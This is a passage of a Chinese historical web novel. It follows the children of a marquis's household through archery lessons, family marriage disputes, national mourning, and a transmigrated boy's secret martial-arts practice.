封砚初看大郎虽然不说话,可内心并不认可,继续道:“昔日,太宗皇帝并未因为明畅长公主是女子就轻视,反而如男儿般教导,这也让明畅长公主无论是为国,亦或是为民,做的并不比兄弟差,所以太宗未看轻女子,大哥也当如此。”
大郎不说话,低头扣着手,缓了好一会儿这才抬头看向长姐,“大姐姐,对不起。”
封砚敏是个大度开朗的女孩,并未计较,笑得一脸灿烂,“我原谅你啦,谁让你是我弟弟呢。”
马车内,气氛又恢复了之前的热闹。
封砚初敏锐的察觉到一点,杨先生固然重视几个男孩子,但从未表现出轻视长姐,堂兄、他、以及两个弟弟,并没因为她是女孩子,就觉得只能做那些所谓女孩子才能做的事。侯府里就连上面的长辈都没说什么,怎的封砚开就有这个思想?
莫不是刘姨娘平日灌输?觉得自己生了庶长子,将来侯府的一切都是大郎的?觉得大娘子虽是正室,可将来封砚敏是要嫁人的!大娘子与女儿来日还不是要靠自己儿子?
封砚初强行压下心中的想法,反正将来他是要被分出去的,无论侯府落入谁的手里也与他无关。
第十九章 除了读书都挺喜欢
此次骑术练习果然与上次大相径庭,比起二叔的散漫,方恩靠谱多了,大家已经可以骑着小马驹小跑。
靶场上,上次教封砚初射箭的那个人,眼巴巴地看着远处骑着小马奔跑的人。
“哟,还看呢?”一个看打扮明显是看守庄子的下人,此人凑近嘲讽,“冯四,你不过是一个被卖身的下人,十年前,还是管事可怜你,才给你一碗饭吃,不要以为你有幸教过二郎君射箭,就了不得。”
这人看冯四木头一般针戳不动,说了半天也不见动静,气的啐了一口,“不过是个猎户,会射箭有什么了不起,要不是管事给机会,怎会轮的着你!”
明明是春日,封砚明跑了几圈下来,已经热的满头大汗,他下了马,呼哧呼哧地跑到场边,喊道:“竹青!竹青!我饿了!”
小厮竹青早就将帕子、点心、饮子准备妥帖。他见自家郎君热的汗水直流,赶紧拧了帕子迎上去,“郎君别着急,先坐着歇一会。”
封砚明匆忙洗了手拿了块点心,仰脸等着竹青擦汗,“嗯,这次骑马比上次好玩多了,你瞧见了没,我刚才威风不?”
竹青手上不停,又是擦汗,又是倒饮子,同时嘴上还回应,“瞧见了,郎君方才好威风!小心噎着,喝些紫苏饮顺一顺。”
“还是热,快给我扇一扇。”封砚明喝了紫苏饮,依旧觉得热。
竹青是婶娘温氏专门派在儿子身边,外出时随身照顾的,怎么可能一味地由着郎君的性子,“郎君歇一歇,一会儿就凉快了,若是着了风,二娘子可是要罚小的。”
封砚明又强辩了几句,并未得逞。他反而看向场中正在骑马的几人,挥手高喊,“哎!你们过来用些点心吧!”
封砚安早就想歇着,但是见自家的几个兄长都未离开,也不敢善动,直到二哥下马,这才高兴得跟在身后。
“二哥,等等我!”
“你自己快点跟上!”封砚初早就看出这小子在马上坐不住了,他恰好有些渴了。
等对方屁颠屁颠地跟上来,他立马搂住对方的脖子,“想歇就歇着呗,做什么要看别人?堂兄不都先去休息了吗?”
封砚安乐呵呵道:“你们都在练习,我不敢,再说我如何能与堂兄比,堂兄是嫡子,我是庶出,自然不同。”
“难道我就不是庶出?你呀!就是想的太多,你是武安侯府的郎君,胆子怎么这么小?”他无语的敲了敲对方的头。
封砚安轻轻揉着被二哥敲过的额头,诺诺道:“我姨娘也嫌我胆小不成事,还总骂我连妹妹一个姑娘都不如。”
没一会儿,封砚开与封砚敏俩人陆续休息,只有三郎封砚池依旧兴冲冲地骑着小马驹满场跑,就连方恩让他休息也是充耳不闻。
大郎喝完饮子,远远的朝场中一瞧,顿时就乐呵起来,推了推封砚初抬手示意,“你瞧,虽说三郎不爱读书,可这瞧着也高兴过头了吧。”
封砚初抬眼望去,噗嗤一笑,“他呀,只要是与读书无关的事,就没见他不喜欢。”随后示意三郎的小厮—双寿,“去将三郎叫回来!”
“是!”
封砚池骑的正欢时,就被双寿拦住,“快让开!”
双寿怎么敢真的让开,之前伺候郎君的小厮犯错,就是二郎禀报大娘子全打发了,所以比起自家郎君心中更怵怕二郎君。
“郎君,二郎君让您去歇着。”
他虽然心中不愿,但不知为何对于二哥的话轻易不敢违拗,只得撅着嘴下马,“既然二哥来叫,那就去歇着吧。”
他几乎是腾挪着往前走,时不时回头恋恋不舍地看向被牵走的小马驹,等走到封砚初跟前还说,“二哥,我还想再骑一会呢。”
封砚初从桌上拿起一块如意糕塞进三郎嘴里,“吃些糕点吧!”几个小孩子在一起说说笑笑的,好不热闹。
他这才注意到远处的靶场边上站着一个人,那人正看向他们这里,哎呀,差点将那人忘记。
他思绪一转,想到什么,“方恩!”
方恩可不敢小瞧侯府这位二郎君,赶紧拱手应答,“二郎君有何吩咐?”
“府里没有跑马的地方,我们这才不得不来庄子上学,可这射箭却不妨事。”封砚初说着遥指远处的人,“我上次来时发现那人射箭不错,这次回府便将他也带回去吧。”
“这……”方恩有些犹豫,因为世子爷并未吩咐。
封砚初并不在意,他相信父亲会同意的,不然还有祖父祖母,“不用担心,我回去会给父亲说的。”
“那让小的先去查问查问此人有无问题。”并不是所有人都可以进侯府的,庄子上的也一样。
“嗯,去吧。”
大郎记得那个人,上次是他教二郎射箭。方恩走远后,便凑上来问道:“那人是谁?”
“不知道,不过他射箭不错,教咱们是没什么问题。方恩已经去查问了,如果没问题以后在府里也能练习射箭。”
这就是他们这种人家要承担的,你可以不精通,但不能不会。更别说武安侯祖上本就是武将出身,后世子孙要是连骑马射箭都不会,那才要被笑掉大牙。
第二十章 抓住了机会
“方护卫,可是我哪里准备的不周?”庄管事对于方恩的到访有些紧张。
方恩开门见山道:“靶场上的那个人是你安排的?”
庄管事心里咯噔一下,以为冯四犯了什么错,忐忑不安地问,“是我安排的,可是他哪里做的不对?”
“哦,那倒没有,见他会射箭,有此一问罢了。”
庄管事心神一松,介绍起冯四的情况,“那人姓冯,家中行四,大家也都喊他冯四。他家原是旁边村子的猎户,咱们后山的林子需要人看管,我便雇佣了他家。”
“母亲早逝,冯二幼年早夭,只剩下兄弟三个,后来朝廷征兵,他家冯大就再也没回来。十年前他爹病重,不仅欠了一屁股的债,人还没救回来。冯三也跑的没影了,家里只剩下个半大的小子,如何能还得了债,正好咱庄子上缺人,就买了他,之后我又从中作保,所幸他也争气,这些年下来账也还完了。”
“上个月,郎君们要来学骑射,世子爷吩咐庄子上准备,这冯四也算得了家传,我便吩咐他在靶场上照应着。”
“如此说来并无可疑?”事关侯府安全,方恩自然要查问清楚。
“确实清白,知根知底。”庄管事立即保证。
方恩见此人没问题,顺嘴解释,“庄管事也别嫌我多事,说来也是那小子走运,二郎君见他会射箭,想将人带回去,只是身份不明之人如何能进侯府?”
等方恩离开后,庄管事将冯四叫去。
“庄管事好。”庄管事突然要见冯四,这让他心中万分忐忑,难道是他在靶场上期盼二郎君能学射箭的事被知道了?
“冯四,你可知我为何将你叫来?”庄管事一边品着茶,一边看似漫不经心的问。
“小的不知。”冯四低着头,看起来十分谦卑。
“你很幸运,方护卫准备将你带回京城,以后你就在侯府教郎君们射箭。”
庄管事的话犹如耳边的惊雷一般,冯四没想到自己有朝一日竟然可以进侯府,那可是侯府啊!
“进……进侯府?”他激动得说话都有些结巴了。
冯四的模样让庄管事有点没眼瞧,“瞧你那样子!难道进了侯府还这样?你若是能抓住机会,今后就留在侯府了,若是不能,将来郎君们学会射箭后,你从哪来回哪去!”
冯四连忙拱手请教,“还请庄管事教小的!”
庄管事叹了一口气并未言语,冯四见状连忙给茶杯里添上茶水,恭敬地端上。
庄管事接过茶杯抿了一口,然后轻轻嗯了一声,这才放下茶杯不紧不慢道:“你父亲虽然没了,但看在老一辈的交情上,少不得提点你。这表面上看,是方护卫将你带回侯府,但实际做这个决定的是谁你知道吗?”
冯四心中思量着将答案说出来,“是二郎君?”
“对喽,真正做主的是二郎君,你是进了侯府,可底下伺候的哪一个是好相与的,你无根无基,那些人可是好几辈子都在侯府侍奉主子。你想要在侯府站稳脚跟,就要清楚你的主子是谁!”
庄管事瞥见对方若有所思的样子,继续说道:“是二郎君做主让你进的侯府,你要效忠的自然是他!至于进府后如何做?你能不能留下来,就看你的造化了,我能教你的都说了!”
冯四听了这番话,十分感激庄管事,弯腰拱手真诚地拜谢对方,“冯四多谢管事,将来若有机会,必定报答!”
庄管事笑得很和善,这就是他想要的效果,机会给对方,至于能不能抓住就看自己的本事。他虽是京郊庄子上的管事,周围人看着很体面。
可之所以能这么多年在庄子上当管事,靠的都是父辈的脸面。侯府竞争激烈,没有主子的同意,庄子上的人很难进侯府。一旦上面出现人事变动,他管事的位置随时可能出现变故。有了冯四这个人情,侯府有什么大的决断,他也不至于抓瞎。
“去吧,将自己的东西收拾收拾!”庄管事挥手让冯四下去。
回去的路上,冯四背着自己为数不多的行囊,徒步随行在侯府的马车后面,他虽没资格坐车,也没资格骑马,可在内心深处只觉得荣幸。
第二十一章 断不掉的姻亲
回到侯府的次日,学堂里就多了一个人,正是四郎的同胞妹妹——封砚婉,因为是双生的缘故,她的身体比四郎弱一些。无论是世子还是大娘子,他们的意思是晚一年入学。
今年已经六岁了,再加上天气渐暖,方姨娘请示了大娘子之后,才让封砚婉正式入学。因为是最小的,大家为了照顾,将最好的位置留给她。
现在的封砚初与之前好似并未有变化,每日除了上课,就是誊抄那几本书,不过几本武功秘籍已经完成,现在抄写的是医书,他通过抄写也确实懂了不少。
唯一的区别,可能是比起去年,今年无论是李妈妈还是碧芳,对他的看管松了许多,而他也终于有机会偷偷尝试练武。
不过因为没有剑和枪的缘故,他最先练习的是《排云掌》和《烟云步》,其中烟云步已经初见成效,那就是跑的比以前快了很多,脚步也轻了。
但大家都觉得是长大一些,所以才跑的快了。不过毕竟是在侯府,即使是孩子,那也得注意言行举止,根本没机会展示。
而这段时间,他安分守己的让父亲有些奇怪,竟然觉得没闹出幺蛾子十分稀奇,他甚至去问了大娘子。
“你这人真奇怪,二郎变乖了你倒还怀疑。”大娘子十分无语,春花灿烂,各府之间的邀约也变多了,她也忙得很,时常需要出去应酬,哪有时间纠缠这个。
“你又不是不了解他,悄么声的必定没好事!我见你最近忙着,莫不是疏忽了?”封简宁明显不相信自家儿子。
大娘子正在挑出门要戴的饰品,对于夫君的发问有些不耐烦,“没事就出去吧!吉家大郎到了成婚的年纪,他家大娘子办了春日宴,我一会儿还要赶紧去呢?”
“咱家孩子都还小呢?这春日宴和你有何关系?”
“咱家的孩子年岁是不大,可你姐姐家的大娘已是及笄之年,她邀我陪着去看看有没有好儿郎,先定下来,免得过俩年太匆忙选不到好的。”大娘子终于挑了个满意的,“半夏,就这个金丝八宝攒珠簪,手上就戴那对双鱼翡翠镯。”
“姐姐也太好高骛远了,再说他家的情况又是那样,没得带累咱家的孩子。”封简宁一听是陪姐姐一起去,连忙替大娘子拒绝。
大娘子表示她也没办法,“这也是老太太的意思,外甥不成器,可要给外甥女选个好的。”
封简宁也只能说道:“哦,这姐夫外任,也不知何时能回京。”虽然知道希望不大,但他实在不想多管姐姐家的事。
封家大姑姐当年嫁的是孙家老二。老太爷在世时倒还好,可没想到这老太爷一死,三年丁忧后,原本的官职早没了。还是老侯爷走门路,让孙家老二外放。只是此人不争气,这么多年下来政绩一般,回京无望。
这封家大姑姐是侯门之女,之前一直陪着丈夫在地方上转悠,后来也是为了子女的将来,三年前回了京,将丈夫和妾室留在地方。
“短时间内是别想了,大姐姐上次还说,想让你给外甥找个严一些的私塾,近朱者赤,也能让外甥学学好。”要不是封家大姑姐只能依靠侯府,又是老太太的意思,大娘子才不想管呢。
“能学好早就学好了,当初是她非要带外甥一起回来,如今自己又管不了,更何况我已经找过两个私塾了,莫非他想上天不成?”封简宁实在听不得外甥的事。
“就是因为他在地方上不学好,整日流连烟花之地,嚣张跋扈。要不是姐夫在当地为官能护持一二,只怕早就下了大狱!大姐姐将他带回京城,也是想着能收敛一些。”大娘子心里嫌弃不已,大姑姐也察觉到了,所以很少让儿子登门,她自己只在有事时上门。
“有这样一个舅兄,哪个好人家敢娶他家的女儿?没得到时候受牵连!再说他也老大不小了,这么多年连个童生都没考中,实在不必浪费精力。”要不是因为对方是自己的亲姐姐,这门姻亲无法割断,封简宁早就想断了与他家的联系。
“你说的轻巧,庶出的儿子已是秀才,大姐姐怎么会甘心?前几天还给我说,想进封家学塾的甲等班。”
“不可能,当初在封家学塾里搅和的乌烟瘴气,这甲等班更是想都不要想!”一说起这个,封简宁就想大耳刮子扇那个不成器的外甥。
“我知道,所以已经拒绝了。”大姑姐的眼泪攻势并未起作用,大娘子当场就拒绝了,可在老太太身上起了作用,她不得不帮着外甥女相看。
这也是为什么封简宁紧盯次子的原因之一,一个聪明的孩子未来要是学坏了,危害只会更严重。
第二十二章 终于不用陪着相看了
大娘子陪着大姑姐去了几次,正如封简宁所言,有些好高骛远,看中的郎君家世门第皆不凡,只是这样的门户娶亲,除了品性样貌,更注重家世教养。
且先不谈孙家如今落魄,单单有孙大郎这种德行的长兄在,凡差不多的人家就退避三舍了。
大娘子被烦的不轻,“大姐姐,选郎婿家世最不要紧,本人有才干品性最重要。”
封简仪觉得自己的女儿千好万好,就是世间顶好的儿郎都配得上,“这品性才干固然重要,可家世也得差不多,事关冉儿终身,自然得好好挑一挑,我瞧着汪家的四郎很不错,安家的二郎人才倒是可以,只是他家去年才从地方上外放回京。”
大娘子见夸夸其谈的大姑姐,竟然还挑三拣四起来,直接挑明暗讽,“大姐姐,别说汪家四郎,就是安家也未必愿意结亲。”
“你什么意思?汪家是永定伯不假,可孙家的先祖那也是当年跟着太宗皇帝一起打天下,朝廷亲封了伯爵。安家才从地方上回来,毫无根基,而我出身武安侯府,我的女儿如何配不得?”在封简仪心中,孙家与他们不差什么,如今只是一时的落寞。
大娘子之前只觉得孙家败落,大姑姐是不想女儿被家世连累,现下才算明白大姑姐心中所想,“孙家的爵位早没了,姐夫多年来政绩平平回京无望,就连外放都是老侯爷帮的忙。而汪家的爵位之所以能延续,是当年平定晋西叛乱时,立了大功,更别说他家四郎已经中了举人,来年就要会试。”
“你也别瞧不起安家,安家虽然不如侯门富贵,可安大人为官清廉,受朝廷器重,安二郎深受父亲影响,品行高洁科举有望,就外甥那个样子,他家才瞧不上!要我说薛家三郎就很好,虽说相貌普通,可胜在为人踏实沉稳。”
“薛家?他家如何配得上冉儿!薛家祖上参与夺嫡爵位被夺,也就这几年才在朝为官。”封简仪气的胸口憋闷,她实在没料到弟妹竟然这样想孙家,“再说是母亲让你陪我为冉儿相看的!你就是这样帮忙的?”
大娘子有些不耐烦,平日里瞧着挺好一人,怎么如此执拗,“既然大姐姐的想法这般多,那后面你自己看着办,我有些累了,就先回去了。”说罢头也不回的离开了。
就在她头疼之际,太后崩逝,国丧期间禁止婚嫁,饮酒作乐。无论是百姓还是官员,都要守制百日。各府的宴会暂停,相看之事自然不了了之。
武安侯府不仅是勋爵,家中还有人在朝为官,按照礼制需得每日入宫祭拜,二叔虽只挂了个闲职,但他与二婶也要去。
这可乐坏了孩子们,家中所有大人都不在家,没了管制,如同放羊一般。
封砚初刚坐在学堂翻看着书,余光就扫见大郎一蹦一跳的进来,嘴里还问,“一会儿下了学堂后,咱们去哪里玩?”大家都在七嘴八舌的建议着。
大郎瞧见二弟一言不发,问道:“你呢?”
封砚初觉得他们的提议都没意思,自从来到这个时代,他还从未亲自尝试一下古代的酒,有心试一试,可万一被大人发现,自由又要被限制,这样还怎么私底下练武。
想到此处,无力的摇头道:“我还是算了吧,下学后还有课业要做,做不完杨先生可是要罚的。”
“这有什么?反正大人不在,晚点写也没什么。”三郎毫不在意,他是彻底放飞了。
“大人是入宫去了,又不是不回来,等忙过这几日一查问,可仔细吃板子。”封砚初觉得还是得紧一紧大家的皮,免得到时候带累自己,“更何况杨先生如果告状,那到时候必定数罪重罚。”
封砚开也回过心神,自己怎么还不如二弟稳重了?赶紧点头,“等母亲回来后,肯定是要问的,如果问起我姨娘,她肯定不会帮我瞒着的。”
堂兄封砚明觉得这些人胆子太小,“真是胆小,你们不去,我和三郎去!”
三郎有些记吃不记打,乐呵呵道:“好呀,好呀!”四郎有些心动想跟着去,但是被无情拒绝了。
杨旭升才到门口,就听见学堂里乱糟糟的,冷着脸进去后,竟然没人发现,气的用戒尺敲桌子,“还不快坐好!你们哪里还像是侯府的郎君?此处还有半分学堂的样子?简直犹如集市一般嘈杂!”
孩子们连侯府都很少出去,更别提集市,那是连见都没见过,三郎更是不开眼的问,“先生,这集市长什么样子?”
“混账!还不住嘴!”杨先生被这问题气的怒火攻心,他没想到竟然有人敢接话,更没料到是三郎。然后对方喜提一顿手板,下学后玩耍的事情也就这么泡汤了。
三郎回去后,张姨娘甚至还抱着胳膊笑话,“瑞雪,上药!挨打了吧?我看就是活该!还真觉着大娘子他们不在,就没人管的了你了?”
“姨娘,你不说安慰也就罢了,竟这么说我?”本来还觉着没什么的三郎,一股委屈感涌上心头,都开始掉眼泪了。
“谁让你总犯错!”张姨娘一开始确实心疼,可次数一多也就麻木了,只要打不坏就行。她看儿子还有力气哭,并未搭理,而是出门找王锦娘说话。
同时心里忍不住感慨。之前二郎多调皮,三天两头的挨打,可过了一个年,竟懂事起来,也不用王锦娘操心。
俩人见面,一边吃茶,一边闲聊,张姨娘抱怨了一通回去了。
王锦娘每次听完,心里都得意,之前大家总笑话二郎调皮,如今可是反过来了。
第二十三章 想找个地缝钻进去
因为大人不在,就连下人都懒散了许多,封砚初更是趁机给身边伺候的几人放了假。一年到头好容易有几天假,这些人自然高兴,他更是多了些自由时间来干自己的事。
课业对他来说并不难,很快就完成了,而剩下的时间则是抽空练功。他一直有心练习剑术,只是身为小孩子根本接触不到,也不可能让他接触。
他之前还找来了一个木棍当剑使用。结果,不仅被李妈妈直接扔了,还说,“二郎,你是侯府的郎君,怎么能和外面市井的小孩子似的,还拿着木棍当马骑?这个我就带回去当柴火了。”其实李妈妈是担心他又出幺蛾子,万一用木棍打人可了不得。
他转了一圈,从父亲封简宁那里薅到一把扇子代替剑,虽然有些短,但总比没有强。
仅仅是几日没人打搅的练习,他进步不少,不仅可以使用烟云步轻松跳得很高,就连剑术也使得有模有样,虽只是样子货,但已经很好啦!
太后入葬皇陵后,家里大人终于清闲一些。果然,大娘子刚回来就问起家里的孩子。
“这几日,敏儿那边可有事?”
回禀的是乳母钱妈妈,她有些胖,笑起来十分可亲。封砚敏是大娘子唯一的女儿,平日里十分上心,几乎是事事关切,钱妈妈也只是从旁照看辅助。这几日也是因为要入宫,这才疏忽了。
而钱妈妈分的清楚轻重,这几日大人虽不在,但她对封砚敏的事十分上心。
“这几日姑娘很乖,每日除了上学以外,就是回来完成课业,有两次想出去找二郎去玩,但被奴婢拦住了,还有一次下学是与二姑娘一起回来的,两人吃了晚饭玩了一会……”她将封砚敏每日见了什么人,做了什么事,事无巨细的全说了。
大娘子听了很满意,自家女儿的习惯已经养成了,这几日偶尔有些懒散,但整体没什么要紧事。次日姨娘们请安时,又问了家中几个郎君的情况。
刘姨娘有心为大郎树立一个懂事稳重的形象,所以帮着稍微遮掩了一下,不过也都是无关紧要的小事。
三郎什么样,全府皆知,就是张姨娘想美化一下,别人都不会信,更别说她本身也没想藏着掖着。
方姨娘也一一说了,四郎本就胆小,这两日只是贪玩,并未耽搁课业;女儿才上学并无大事。
大娘子又着重问了王锦娘,让人没想到的是二郎每日除了上课,与往日并无差别。她心中不信,觉得是王锦娘想帮儿子遮掩,又叫来李妈妈,没想到并无事发生。
与大娘子不同,封简宁回来后最先问起次子,竟然无事发生,一时之间竟让他有些不适应。
大姑姐封简仪也终于等到母亲有空,便带着女儿孙冉上门拜访。
一连几天的劳累,使得老太太这两天精神不振。才吃过早饭就有些乏,便靠在榻上半眯着眼睛,大丫鬟青梅正给她捏腿。
忽而,另一个大丫鬟竹溪悄悄进来观望,老太太并没有要醒的意思。只能轻手轻脚的走近,在青梅耳边低语几句。
青梅面上不动声色,只是手上重了几分。老太太这才睁眼问,“怎么了?”
“老太太,是大姑奶奶带着冉姑娘来看您,已经进了二门,这会子应该快到了。”
老太太轻叹一声,起身吩咐,“沏一盏肉桂茶来。”只要一想到这个女儿,就心中难受。
没一会儿,封简仪携女孙冉进来,她是老太太头生的女儿,年岁不到四十,或许因为家事烦忧的缘故,面上带着悲苦之色。
她刚行完礼坐下,老太太便道:“怎么今儿想起过来?”
封简仪接过青梅手里的茶,亲自奉给母亲,脸上有一抹微红,嘴角含笑,“太后薨逝,母亲进宫祭拜想必十分辛劳,女儿特意回来看望。”
老太太接过茶,鼻子微微耸动,眉心蹙起,言语中带着责怪,“你这是一大清早就喝酒?”
封简仪忙捂嘴退回到座位,神态中不甚在意,“女儿心中悲苦,浅饮两杯解愁罢了。”
老太太颇有些恨铁不成钢地意思,“难怪女婿在地方任职这么多年不见政绩,孙尧又是那样,你这个大娘子都如此,更何况他们?”
“如今连母亲也要如此说女儿吗?我也并非一开始就这样,前些年也是费心操持,可到头来竟便宜了旁人。”封简仪说到此处开始抹起眼泪。
孙冉有些手足无措,她觉得有些丢脸,恨不得找个地缝钻进去,可身为女儿的她,只能上前安抚。
封简仪见母亲不接话,顺势拉着女儿的手哭诉,“我如今就指望冉儿能找个好婆家,可弟妹根本不上心,竟用那些不成器的人家应付。”
老太太本就疲累,被女儿这么一闹,只觉得头晕,挥手打发着,“无论你有什么想头也要按住,试问国丧期间,哪一户人家敢宴请相看订亲?有什么事国丧过后再说。”
“母亲,虽说不许定亲,但也可以先私底下悄悄相看,等国丧后就能直接定下,女儿想请母亲帮忙问问。”封简仪忖度着说出今日的目的。
“你看上哪家了?”
封简仪眼神微闪,看向母亲,语气颇有些小心翼翼地味道,“永定伯汪家的四郎……”
老太太都快气笑了,难怪儿媳妇回来后什么话都未多说,原来竟有这个痴心妄想,“你还真敢想!冉儿确实是个好姑娘,可孙家与永定伯的门第相差太大,并不匹配,我是没这个脸上门说和。”
“母亲,什么叫门第相差太大,我乃是武安侯府嫡出,孙家以前也是伯爵府。”封简仪换了脸色,十分不甘心。
“你也说那是以前!现在孙家早已分了支,女婿不过在地方任六品官,回京无望,孙尧又是那副德行!我看你是酒喝的太多,醉了!说出来的话也是醉言醉语不着边际!”
若非眼前是自己亲生的女儿,老太太必定啐上一口,她接连摆手,对竹溪道:“我累了,送大姑奶奶回去!”
孙冉自觉丢脸,全程低着头,她伸手拽了拽母亲的衣角,没想到竟被甩开。
封简仪没想到母亲不仅拒绝的干脆利落,还打发她回去,“母亲!”可老太太已经闭眼重新躺了回去,青梅正在为其捶腿,她无奈只得带着女儿离开。
老太太看着离去的背影,留下一声轻叹。
第二十四章 我要看他藏着什么秘密
接连几日进宫,导致府中事务堆积。老太太可以躺着休息,大娘子却不行。
铜雀得知大姑奶奶的消息时,大娘子在处理府中之事,她等到各管事离开后,才进去禀报。
“大娘子,今日大姑奶奶进府看望老太太了,而且……”
“当真?”大娘子有些不可置信,紧接着吐槽,“这些年姐姐过的不好,老太太心疼女儿,平日诸多维护,现下看来也是忍不下去了。姐姐也真是的,即是来看望老太太的,也不拿一针一线,全然看不见老太太的疲惫,还用这事来烦心。”
这些话主子说得,下人却说不得,半夏与铜雀听后,抿唇笑而不语,不过内心却十分认同,老太太那般疼爱大姑奶奶,进府不说关切侍奉,竟还告大娘子的状。
大娘子这边吐槽大姑姐,封简宁确在考教封砚初。
这一日,父子俩的休沐日正好撞在一起。封简宁对于次子没出幺蛾子这件事虽欣慰,但也心中略存疑虑。
“听闻这几日你未淘气,每日读书写字不曾懈怠。既如此,我便考教考教你。”
封砚初心里咯噔一下,人的精力是有限的,这几日的在学堂虽没有落下,但要说多优秀那也没有,他在心里暗暗祈祷着,不过面上装的没事人一样。
“父亲请说。”
封简宁将次子的神情变化尽收眼底,见如此镇定,以为对方确实认真,心中不怵,便让先背书,又问了其中的意思。
对于封砚初来说,背书和理解只是基础,但要是继续深入,就不行了,真应了那句怕什么来什么。
起初封简宁对次子的表现很满意,便稍加深入问询。若是旁的孩子回答不上来很正常,但落在封砚初身上很不对劲。
“这部分,先生还未曾深入讲解。”
“杨先生虽未深入讲解,但他给你特意布置了,让你回去温习,可见你并未将话放在心上,认真地样子都是装出来的!”封简宁之前心中那股子异样之感终于得到了证实。
“说!你在房间究竟在干什么?”他怒极猛拍桌子,厉声呵斥。
别的孩子面对这场景或许早就怕的,竹筒倒豆子一般全说了。可封砚初是谁,这根本吓不到,依旧嘴硬道:“儿子没做什么,写完课业,只在房间里玩一会华容道。”
“还在胡扯!”封简宁指着次子气的想将对方打一顿,但未的到证实之前就动手,这小子一准会给老太太翻舌头,便想着找证据出来,“方恩!”
方恩早就在书房外候着,这是世子爷担心二郎君半道逃走,他听见名字,进门行礼,“世子爷。”
“带上两个人,去这小兔崽子的房间里,好好搜检一番,我倒要看看他藏着什么秘密!”封简宁有些担心次子被外人引诱,看些杂书,耽搁学习。
以封砚初的揣测,家长一般是担心孩子被人引诱学坏,逐渐不受管教。可以他目前的年纪来看,最多是被外物耽搁。而外物要么是外头的玩具,要么是杂书。父亲知道他对那些玩具不感兴趣,只能是担心另一个。
想到此处,他立即道:“父亲,儿子并未看外头那些杂书,更何况小厮也都了解我的性子,他们不敢以此引诱。”
封简宁早就问过跟着次子读书的小厮,正因为没问出什么,这才想着考教考教,“休要狡辩!”
作为孩子最厌烦家长的这个行为,他的语气中带着不满的倔犟,“父亲当真要搜检?”
这一幕落在封简宁眼中,恰恰证明确有其事,搜检的想法更坚定了。他带着几个下人气冲冲地样子,引起李妈妈几人的惊慌,场面一时竟有些骚乱。只是让他没想到的是,次子只是斜眼看去,说了‘安静’二字,下人们真就各自忙各自的去了。
阳光透过半开的窗户泼洒进封砚初的房间内,从外面隐约可以看见里面。进门便是外间待客的地方。除了必须用到的桌椅并无其他装饰,墙上未挂任何字画,一览无余,竟有些空荡荡的。
左次间靠墙放置着俩个书架,上面除了一些书籍,摆了一个冰裂纹样的青瓷瓶。北面墙上的《溪山行旅图》是唯一的墙面装饰,它下面有一张长案,南边靠窗置着书桌,桌上笔墨纸砚摆放整齐。右次间,里间的卧房被一个绘着《早春图》的屏风隔开。
这房间布置哪里像是孩童用的,分明是一个清冷居士的住所。封简宁对此心中疑窦丛生,记得去年来的时候还不是这样。
搜检开始,只是房间里除了要学习的经史子集,唯一与之无关的书是《大晟地质》,这本书是太宗晚年游历,上面记录着大晟的江河山川,人文地理,并无其他杂书。
而这都在封砚初的意料之内。就是在现代,有的家长喜欢检查孩子的房间,更别说是君臣父子分明的古代,所以他早就防着这一手了。
封简宁手里拿着《大晟地质》这本书,几乎要将次子盯出个洞,缓了好久才不甘心地将书还回去,“你目前还是以经史子集为主,这本书暂时就不要多看了。”
封砚初十分诚恳的应了。
等封简宁离开,他的院子瞬间来了不少人。
大郎封砚开意有所指地问,“二郎这是怎么了?”
在其他灼灼的目光中,他心中有些瞒天过海的得意,可嘴上却装模作样的叹气,“唉!一朝被蛇咬,十年怕井绳。”
封砚池凑过来笑嘻嘻道:“看来父亲也不相信你!”
长姐封砚敏十分无语,狠狠瞪了一眼三郎,教训着,“你当是什么好事不成?”
接着对封砚初挑眉赞扬,“祖母要是知道你这样听话,必定高兴。只是你这屋子里也太空了吧,明日我让母亲给你送来一些。”
封砚初摇头拒绝,“不用了,这样就挺好。”其实之所以这样空荡荡的,是为了给自己偷摸练武提供便利,万一练武时不小心打碎什么,必定有人来问,长此以往怎能瞒得住。
父亲连他读什么书都要管,更别说练武,一旦被发现,只会被以耽误学习为由勒令停止,不过经此一事,父亲会消停一段时间。
第二十五章 中看不中用
接下来的日子,杨先生对封砚初明显严格了许多,用脚趾头想都知道是父亲嘱咐过的。人就是这样,越严格,就越想透口气放松。
所以下学后,他总会偷空去找冯四练习一会射箭,或者练一会烟云步,排云掌,流云剑法。
有几次李妈妈明显是得了大娘子的吩咐,想让人在旁边侍奉着,直到他说了一些话。
“妈妈,你是我的乳母,是自小照顾我的人,我对妈妈一向敬重,所以即使妈妈会将我的事情告诉姨娘,告诉大娘子,我也没计较,只是妈妈别忘了,大娘子的嘱咐固然重要,可你也要明白谁才是你的主子!其中分寸拿捏,妈妈可明白?”
此话犹如惊雷一般在李妈妈耳边炸响,她没想到这竟然是,年仅七岁的郎君说出来的,心中虽清楚郎君是个有主见的孩子,但没想到他早就对自己听命大娘子,时时监看的不满。
“是,郎君,奴婢知道了。”此时此刻,主仆的身份地位显现,李妈妈说话都带着小心。
封砚初见状笑得温和,“妈妈不必如此小心,我知道你也是听命行事,只是我已经渐渐长大,很多事情我自有主张。”
随后从钱匣子里拿出十两银子,递给李妈妈,“妈妈照顾我确实辛苦,这些银钱妈妈拿去吃茶,我近日想吃糖蒸酥酪,妈妈是最拿手的,明日做些我好下学吃。”
李妈妈这才轻松下来,脸上也带着笑,连声应了,“哎,二郎请好吧,保管明日一下学就能吃到。”
紧接着封砚初完成课业之后,便拿起一柄扇子开始练剑。
生活就像稀碎的阳光,斑驳而美好。园子里,洁白的杏花散落在秋千架上,湖里的芙蕖随风摇曳,随着夏日已至,国丧终于结束,人们也穿上了轻薄鲜艳的夏衫。
琴课上,孩子们终于弹出成型的曲调,周遭不再受魔音贯耳。
教他们弹琴的是从外面请来的一位女先生,姓苏,名柯,祖上也是世族大家,只是后来落寞了,家中无以为继,幸而有这份才能,可以出入各府教授琴艺。
对封家来说,琴可以不用弹的太好,但不能不会赏,所以每月也只有一次琴课,这也是大家进步慢的主要原因。
不过这里头弹的最好的是长姐封砚敏,紧接着是封砚初,然后是四郎封砚安和堂哥封砚明,之后是大郎封砚开与三郎封砚池,最后是二妹封砚婉。
这也就导致大家的琴虽然都是统一配置,但长姐使的琴确是最好的,它来自大娘子的陪嫁——春雷。原本大娘子还想给封砚初重新准备个好的,但他觉得这种统一配置的就挺好。
苏柯自然清楚封家的意思,只是她本着负责的态度,教学十分认真,不过对长姐更关注,毕竟封砚初虽然进步很快,但是明显对琴课不是很重视,给人一种你教我就学,一切随缘。
